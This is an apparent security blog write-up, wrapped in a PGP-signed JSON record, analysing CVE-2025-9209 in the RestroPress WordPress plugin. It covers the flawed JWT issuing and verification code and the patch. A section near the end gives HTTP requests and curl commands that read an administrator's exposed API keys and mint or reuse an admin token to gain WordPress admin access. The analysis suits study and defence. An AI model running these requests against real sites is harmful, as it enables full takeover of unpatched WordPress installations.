-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The permission check is a feature flag\n\nHere is the callback the REST route runs before handing the request to `get_token`:\n\n```php\npublic function get_auth_permissions_check( WP_REST_Request $request ) {\n // Initialize Api_key\n $api_key = null;\n // Initialize enable status\n $is_api_enabled = null;\n // Getting API key from header\n $api_key = $request->get_header( 'authorization' );\n // Get API enable status\n $is_api_enabled = rpress_get_option( 'activate_api' );\n // Check if API not enabled | in true case return appropriate error message\n if ( ! $is_api_enabled ) {\n return new WP_Error( 'rest_forbidden', ..., array( 'status' => rest_authorization_required_code() ) );\n } else {\n $this->api_key = $api_key;\n return true;\n }\n return false;\n}\n```\n\nTwo things happen here. The gate checks whether the site administrator has toggled the `activate_api` option, which is a checkbox on the RestroPress settings page. That is a feature flag, not a caller attribute. The second thing is that the caller's `Authorization` header, whatever it contains, is stashed on the controller as `$this->api_key`. It will shortly become the HMAC key for a JWT.\n\nThe callback is named `get_auth_permissions_check`. WordPress core expects a function with that name to decide whether this caller is allowed to invoke this endpoint on behalf of some identity. This callback has a model of neither. It has a model of the feature toggle.\n\n## The signing key is whichever header the caller sent\n\n`get_token` is the handler:\n\n```php\npublic function get_token( WP_REST_Request $request ): WP_REST_Response {\n $api_key = $request->get_header( 'x-api-key' );\n $expire = null;\n $token_id = base64_encode( random_bytes( 16 ) );\n $obj = new DateTimeImmutable();\n // ...\n $server_name = $_SERVER['SERVER_NAME'];\n $data = array(\n 'iat' => $obj->getTimestamp(),\n 'jti' => $token_id,\n 'iss' => $server_name,\n 'aud' => $server_name,\n 'nbf' => $obj->getTimestamp(),\n 'data' => array(\n 'api_key' => $this->api_key,\n 'user_id' => $request->get_header( 'x-user-id' ),\n ),\n );\n // ...\n $user_id = null;\n if ( ! is_null( $request->get_param( 'user_id' ) ) ) {\n $user_id = $request->get_param( 'user_id' );\n $data['data']['user_id'] = $user_id;\n }\n // ...\n $token = JWT::encode( $data, $this->api_key, 'HS512' );\n $this->response->set_status( 200 );\n $this->response->set_data( array( 'token' => $token ) );\n return $this->response;\n}\n```\n\nThe `user_id` claim in the payload is read from the `x-user-id` request header on line ten, and then overwritten on line seventeen with the `user_id` query parameter if one exists. Both sources are the caller. The HMAC signing key passed to `JWT::encode` is `$this->api_key`, which was written in the permissions callback from the caller's `Authorization` header.\n\nOne HTTP request. Every input variable is caller-supplied. The server generates a `jti` and stamps timestamps, and the rest comes from the wire. This is a caller-chosen key: a signing secret proposed by the entity being authenticated, used by the issuer to mint a credential that will later be presented back to the same issuer. The signature binds only that the caller could ask. The HMAC contributes zero authentication evidence, because the verifier accepts exactly the key the issuer was told to use. The structural shape is the HMAC cousin of nonce is not auth: a value the caller produced is treated as proof the caller is somebody, when all it proves is that the caller could produce the value.\n\nThe request that yields a valid JWT claiming administrator is this:\n\n```http\nGET /wp-json/rp/v1/auth?user_id=1 HTTP/1.1\nHost: target.example.com\nAuthorization: whatever-you-want\n```\n\nThe response body is `{\"token\":\"eyJ0eXAi...\"}`. Base64-decode the middle segment and you find `{\"data\":{\"api_key\":\"whatever-you-want\",\"user_id\":\"1\"}, ...}`, signed with HMAC-SHA512 over the literal bytes `\"whatever-you-want\"`.\n\n## The gate is on a different endpoint\n\nA bearer token is only a capability if something honors it. RestroPress honors tokens through `RP_JWT_Verifier`, which runs on any RP endpoint that requires authentication:\n\n```php\npublic function jwt_verify( WP_REST_Request $request ) {\n $token = $request->get_header( 'authorization' );\n $api_key = $request->get_header( 'x-api-key' );\n if ( ! is_null( $token ) && preg_match( '/Bearer\\s(\\S+)/', $token, $matches ) && is_string( $api_key ) ) {\n try {\n $decoded = JWT::decode( $matches[1], new Key( $api_key, 'HS512' ) );\n return $this->checking_decoded_data( $decoded, $api_key );\n } catch ( Exception $exc ) { /* ... */ }\n }\n // ...\n}\n\npublic function checking_user_id( int $user_ID, string $api_key ) {\n $private_key = get_user_meta( $user_ID, '_rp_api_user_private_key', true );\n $public_key = get_user_meta( $user_ID, '_rp_api_user_public_key', true );\n if ( hash_equals( $api_key, $public_key ) ) {\n if ( password_verify( $user_ID, $private_key ) ) {\n if ( ! empty( get_current_user_id() ) && get_current_user_id() == $user_ID ) {\n return true;\n } else {\n return $this->checking_user( $user_ID );\n }\n }\n }\n // ...\n}\n\npublic function checking_user( int $user_ID ) {\n $user = get_user_by( 'id', $user_ID );\n if ( $user instanceof WP_User ) {\n wp_set_current_user( $user->ID, $user->user_login );\n wp_set_auth_cookie( $user->ID );\n return true;\n }\n // ...\n}\n```\n\nTwo details matter.\n\nFirst, the verifier reads the signing key from a different header than the issuer. The issuer wrote `$this->api_key` from `Authorization`; the verifier reads it from `x-api-key`. Same caller, two headers, one key. The code pretends the `Authorization` header is the \"caller wants to issue\" channel and the `x-api-key` header is the \"caller wants to authenticate\" channel. There is no such split. A single HTTP client can set both headers on a single request with no effort.\n\nSecond, the real gate is `hash_equals( $api_key, $public_key )`. The caller's `x-api-key` must match the value stored in the target user's `_rp_api_user_public_key` meta. Finally, an authentication check: the caller must know a per-user secret. If this check survives, the attacker cannot mint tokens for arbitrary users, because they cannot sign a JWT that will decode against the target's stored key.\n\nExcept the per-user secret is not a secret.\n\n## The key is published by the plugin through core WordPress\n\nIn `Server.php`, RestroPress registers three user meta keys for the REST API:\n\n```php\nfunction register_user_meta_for_rest() {\n register_meta( 'user', '_rp_api_user_private_key',\n array( 'show_in_rest' => true, 'type' => 'string', ... ) );\n register_meta( 'user', '_rp_api_user_public_key',\n array( 'show_in_rest' => true, 'type' => 'string', ... ) );\n register_meta( 'user', '_rp_api_user_token_key',\n array( 'show_in_rest' => true, 'type' => 'string', ... ) );\n}\n```\n\nWith `show_in_rest => true`, these values are serialized into the `meta` field of user objects returned by `/wp-json/wp/v2/users` and `/wp-json/wp/v2/users/`. Core WordPress returns user data to unauthenticated callers by default for any user who has published a post, which on most restaurant sites includes the administrator who authored the homepage.\n\n```http\nGET /wp-json/wp/v2/users/1 HTTP/1.1\nHost: target.example.com\n```\n\nThe response, in part:\n\n```json\n{\n \"id\": 1,\n \"name\": \"admin\",\n \"meta\": {\n \"_rp_api_user_private_key\": \"$2y$10$...\",\n \"_rp_api_user_public_key\": \"9f5a...128 hex chars\",\n \"_rp_api_user_token_key\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9...\"\n }\n}\n```\n\nThe attacker now holds the target's \"public key,\" which is the HMAC key the issuer signs with and the HMAC key the verifier checks against. It is not a public key. It is a per-user shared secret, and it is served to anonymous GET requests, because the plugin told core WordPress to serve it.\n\nThe third meta value, `_rp_api_user_token_key`, is a previously issued JWT. On sites where `api_expire` is unset, the stored token has no `exp` claim and is valid indefinitely. The attacker does not have to mint a new token; they can use the one the administrator's own click generated the first time they enrolled the feature.\n\n## The private key is bcrypt of an integer\n\n`rp_generate_api_keys` is how keys are enrolled in the first place:\n\n```php\nfunction rp_generate_api_keys( int $user_ID ) {\n if ( true == filter_input( INPUT_POST, 'rp-generate-api-key' ) ) {\n $public_key = hash( 'sha512', time() );\n $private_key = password_hash( $user_ID, null );\n rp_user_api_get_token( $private_key, $public_key, $user_ID );\n }\n}\n```\n\nThe \"public key\" is SHA-512 of the Unix timestamp at the moment the admin clicked the button. Knowing that moment to the second is enough to recompute it without any API call. A visible `user_registered` column, a plugin activation timestamp, a membership email receipt, any one of those narrows the window.\n\nThe \"private key\" is bcrypt of the user's numeric ID. User IDs are integers starting at 1. In the verifier:\n\n```php\nif ( password_verify( $user_ID, $private_key ) ) {\n```\n\nThis call compares the integer user_id against the stored bcrypt hash of that same integer. It passes for every legitimately enrolled user, because that is exactly what was stored. `password_verify` is performing a cryptographic integrity check on a value whose plaintext is the user_id being queried. The check contributes nothing to authentication. It is a ceremony: the shape of a private-key check with no secret inside.\n\n## The exploit primitive\n\n```bash\n# 1. Read the admin's keys from core WP REST.\ncurl -s \"https://target.example.com/wp-json/wp/v2/users/1\" | jq -r '.meta'\n# Returns _rp_api_user_public_key and _rp_api_user_token_key.\n\n# 2a. Reuse the stored token directly (no minting required):\ncurl -i \"https://target.example.com/wp-json/rp/v1/orders\" \\\n -H \"Authorization: Bearer $STORED_TOKEN\" \\\n -H \"x-api-key: $STOLEN_PUBLIC_KEY\"\n\n# 2b. Or mint a fresh token for any user_id:\ncurl -s \"https://target.example.com/wp-json/rp/v1/auth?user_id=1\" \\\n -H \"Authorization: $STOLEN_PUBLIC_KEY\"\n# {\"token\":\"eyJ...\"}\n\ncurl -i \"https://target.example.com/wp-json/rp/v1/orders\" \\\n -H \"Authorization: Bearer $MINTED_TOKEN\" \\\n -H \"x-api-key: $STOLEN_PUBLIC_KEY\"\n```\n\nInside the authenticated request, `RP_JWT_Verifier` decodes the token with the attacker's supplied key, confirms `user_id` is 1, reads the matching stored public_key, runs the `password_verify` ritual, and then calls:\n\n```php\nwp_set_current_user( $user->ID, $user->user_login );\nwp_set_auth_cookie( $user->ID );\n```\n\nThe response carries a `Set-Cookie: wordpress_logged_in_*` for user 1. From that cookie onward, the caller operates the whole site through `wp-admin`. Not RestroPress administration. WordPress administration.\n\n## What the patch actually changed\n\nVersion 3.2.2 rewrites `get_auth_permissions_check` and deletes `register_user_meta_for_rest`. Two fixes, because there are two bugs:\n\n```diff\n-\t\t$api_key = null;\n-\t\t$is_api_enabled = null;\n-\t\t$api_key = $request->get_header( 'authorization' );\n-\t\t$is_api_enabled = rpress_get_option( 'activate_api' );\n-\t\tif ( ! $is_api_enabled ) {\n-\t\t\treturn new WP_Error( 'rest_forbidden', ... );\n-\t\t} else {\n-\t\t\t$this->api_key = $api_key;\n-\t\t\treturn true;\n-\t\t}\n+\t\t$api_key = $this->get_request_api_key( $request );\n+\t\t$user_id = $this->get_requested_user_id( $request );\n+\t\t$is_api_enabled = rpress_get_option( 'activate_api' );\n+\n+\t\tif ( ! $is_api_enabled ) { return new WP_Error( ... ); }\n+\n+\t\tif ( ! is_user_logged_in() ) {\n+\t\t\treturn new WP_Error( 'rest_forbidden', 'You must be logged in to generate API tokens.', ... );\n+\t\t}\n+\n+\t\tif ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) {\n+\t\t\treturn new WP_Error( 'rest_forbidden', 'You are not allowed to generate an API token for this user.', ... );\n+\t\t}\n+\n+\t\tif ( empty( $api_key ) ) {\n+\t\t\treturn new WP_Error( 'rest_forbidden', 'A valid API key is required to generate a token.', ... );\n+\t\t}\n+\n+\t\t$this->api_key = $api_key;\n+\t\treturn true;\n```\n\nThree checks the original callback did not have: the caller must be logged in, the caller must have `edit_user` capability for the requested user_id, and an API key must be present. The permission check is now a permission check.\n\nThe second half of the patch, in `Server.php`:\n\n```diff\n-\t\tadd_action( 'rest_api_init', array( $this, 'register_user_meta_for_rest' ), 10 );\n-\t}\n-\tfunction register_user_meta_for_rest() {\n-\t\tregister_meta( 'user', '_rp_api_user_private_key', array( 'show_in_rest' => true, ... ) );\n-\t\tregister_meta( 'user', '_rp_api_user_public_key', array( 'show_in_rest' => true, ... ) );\n-\t\tregister_meta( 'user', '_rp_api_user_token_key', array( 'show_in_rest' => true, ... ) );\n-\t}\n```\n\nThe meta registration is gone. The keys are still stored in user meta for the plugin's own use; they are no longer served through `/wp-json/wp/v2/users`.\n\nTwo independent bugs, two independent fixes. Either one in isolation leaves the other live: if only the permission check were fixed, the stored `_rp_api_user_token_key` would still be valid and still public; if only the meta exposure were closed, the issuing endpoint would still mint tokens for any user, signed with any key, and the only remaining barrier would be brute-forcing `hash( 'sha512', time() )` around a plausible enrollment window.\n\n## The description has the wrong word\n\nNVD says \"forge JWT tokens.\" The Wordfence vulnerability entry title says \"Authentication Bypass via Forged JWT.\" Neither is accurate.\n\nA forged JWT is one whose signature the issuer did not authorize, or whose claims the issuer did not intend. Neither is true here. The plugin signed this token. The plugin's `JWT::encode` call ran at runtime, took a caller-supplied key and a caller-supplied user_id, produced a byte-exact valid HMAC over the caller's claims, and returned the result in a 200 response. The `user_id` claim was accepted because the endpoint's entire purpose is accepting a user_id claim from the caller. The signing key was accepted because the endpoint's entire purpose is accepting a signing key from the caller.\n\nThere is no forgery. There is a token factory that reads what the caller wants, signs it, and returns it. The authentication bypass is not a bypass, because the authentication check runs on a different endpoint, against a per-user secret the plugin serialized into core WordPress user responses for anonymous callers to read.\n\nTwo components. One issues tokens on demand. One checks tokens against a secret the plugin published. Together they compose a worked example of what happens when a plugin author designs every half of an authentication system with the other half in mind, and no adversary in mind.\n\nPoC: [projectdiscovery/nuclei-templates, CVE-2025-9209.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-9209.yaml)","closing_line":"The token is not forged. The plugin signs it, with a key the caller chose, for a user_id the caller named, against a \"public key\" the plugin handed to the caller through core WP REST.","hook_md":"The RestroPress WordPress plugin registers a REST route at `/wp-json/rp/v1/auth` and calls it authentication. The handler reads the `Authorization` header, stashes whatever value is there, and uses it as the HMAC key to sign a JWT. The JWT's `user_id` claim is copied from a query parameter or a header the same request supplies. Wordfence and NVD describe CVE-2025-9209 as \"authentication bypass via forged JWT.\" No token is forged. The plugin signs what the caller asks it to sign, with whichever key the caller proposes, naming whichever user the caller wants to be.","post_id":37,"slug":"restropress-token-is-issued-not-forged","title":"CVE-2025-9209: The RestroPress JWT Is Not Forged. The Plugin Signs It For You.","type":"initial","unreadable_sentence":"The token is not forged. The plugin signs it, with a key the caller chose, for a user_id the caller named."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCafd/1wAKCRDeZjl4jgkQ JtRSAQCsYLkNcTcqytqHPl0akDEdmsu3ujp7GEffU2OX8pTivgEAis7jFvbyHCAz 7BQFVOYUO+kJ0kr7ldxlpFDbw2A73Q4= =Wtpr -----END PGP SIGNATURE-----